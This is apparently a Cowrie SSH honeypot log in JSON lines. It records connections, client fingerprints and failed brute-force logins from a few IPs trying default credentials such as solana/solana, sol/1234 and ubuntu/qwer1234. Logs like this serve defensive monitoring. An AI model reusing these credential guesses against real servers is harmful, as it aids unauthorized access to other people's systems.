{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:06:23.311963Z","src_ip":"2.57.122.208","session":"7c13cbcdb7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:06:23.412801Z","src_ip":"2.57.122.208","session":"7c13cbcdb7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:06:24.167759Z","src_ip":"2.57.122.208","session":"7c13cbcdb7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:06:25.364245Z","src_ip":"2.57.122.208","session":"7c13cbcdb7c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":59304,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e4d1a104ea","protocol":"ssh","message":"New connection: 88.205.172.170:59304 (159.203.135.109:22) [session: 58e4d1a104ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:08:08.448862Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41796,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ce4d93029e","protocol":"ssh","message":"New connection: 2.57.122.208:41796 (159.203.135.109:22) [session: 76ce4d93029e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:08:43.846174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:08:43.911715Z","src_ip":"2.57.122.208","session":"76ce4d93029e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:08:44.013057Z","src_ip":"2.57.122.208","session":"76ce4d93029e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:08:44.536982Z","src_ip":"2.57.122.208","session":"76ce4d93029e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:08:45.641164Z","src_ip":"2.57.122.208","session":"76ce4d93029e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:08.475160Z","src_ip":"88.205.172.170","session":"58e4d1a104ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36228,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26bf633c553","protocol":"ssh","message":"New connection: 2.57.121.25:36228 (10.17.0.5:22) [session: c26bf633c553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:31.178694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:31.184108Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:31.285653Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"machines","message":"login attempt [user/machines] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:31.765244Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"losangel","message":"login attempt [user/losangel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:32.870358Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"locker","message":"login attempt [user/locker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:33.975083Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"llama","message":"login attempt [user/llama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:35.082891Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"littlema","message":"login attempt [user/littlema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:36.187024Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:10:37.291456Z","src_ip":"2.57.121.25","session":"c26bf633c553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41008,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed554e0bfe62","protocol":"ssh","message":"New connection: 2.57.122.208:41008 (159.203.135.109:22) [session: ed554e0bfe62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:11:04.456810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:11:04.475248Z","src_ip":"2.57.122.208","session":"ed554e0bfe62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:11:04.611476Z","src_ip":"2.57.122.208","session":"ed554e0bfe62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:11:05.312592Z","src_ip":"2.57.122.208","session":"ed554e0bfe62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:11:06.439985Z","src_ip":"2.57.122.208","session":"ed554e0bfe62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54476,"dst_ip":"159.203.135.109","dst_port":22,"session":"265679cb2383","protocol":"ssh","message":"New connection: 2.57.122.208:54476 (159.203.135.109:22) [session: 265679cb2383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:13:21.385816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:13:21.389700Z","src_ip":"2.57.122.208","session":"265679cb2383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:13:21.494186Z","src_ip":"2.57.122.208","session":"265679cb2383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:13:21.881991Z","src_ip":"2.57.122.208","session":"265679cb2383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:13:22.999169Z","src_ip":"2.57.122.208","session":"265679cb2383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51936,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e6e59ac879","protocol":"ssh","message":"New connection: 2.57.122.208:51936 (159.203.135.109:22) [session: c4e6e59ac879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:15:32.860659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:15:32.905824Z","src_ip":"2.57.122.208","session":"c4e6e59ac879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:15:32.962196Z","src_ip":"2.57.122.208","session":"c4e6e59ac879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:15:33.431804Z","src_ip":"2.57.122.208","session":"c4e6e59ac879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:15:34.534807Z","src_ip":"2.57.122.208","session":"c4e6e59ac879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38034,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a985f61df03","protocol":"ssh","message":"New connection: 2.57.122.208:38034 (159.203.135.109:22) [session: 9a985f61df03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:17:42.045963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:17:42.112690Z","src_ip":"2.57.122.208","session":"9a985f61df03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:17:42.176227Z","src_ip":"2.57.122.208","session":"9a985f61df03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:17:42.773828Z","src_ip":"2.57.122.208","session":"9a985f61df03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:17:43.881531Z","src_ip":"2.57.122.208","session":"9a985f61df03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48056,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d84c492eb5a","protocol":"ssh","message":"New connection: 2.57.122.208:48056 (159.203.135.109:22) [session: 7d84c492eb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:19:40.713061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:19:40.742256Z","src_ip":"2.57.122.208","session":"7d84c492eb5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:19:40.825929Z","src_ip":"2.57.122.208","session":"7d84c492eb5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:19:41.362001Z","src_ip":"2.57.122.208","session":"7d84c492eb5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:19:42.546748Z","src_ip":"2.57.122.208","session":"7d84c492eb5a","protocol":"ssh"}
